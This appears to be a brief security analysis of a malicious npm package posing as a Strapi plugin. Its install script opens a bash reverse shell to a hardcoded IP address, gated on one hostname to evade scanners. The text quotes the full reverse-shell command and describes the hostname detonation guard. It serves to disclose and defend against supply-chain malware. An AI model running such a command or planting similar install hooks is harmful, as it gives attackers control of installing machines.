postinstall.js runs automatically on npm install and executes a bash reverse shell to the hardcoded remote host 14.225.210.85:80 via /dev/tcp, granting that host interactive command execution on the installing machine. Execution is gated by os.hostname() === 'ubuntu-fc-uvm': on non-matching hosts the script exits silently, while on the targeted hostname it spawns bash -i >& /dev/tcp/14.225.210.85/80 0>&1. The hostname allowlist is a detonation guard that keeps the payload dormant on generic scanners and typical developer machines while firing on the intended target. The package is presented as a Strapi plugin but ships no plugin functionality relevant to this behavior in the postinstall path; the lifecycle script's sole effect is the reverse-shell attempt.
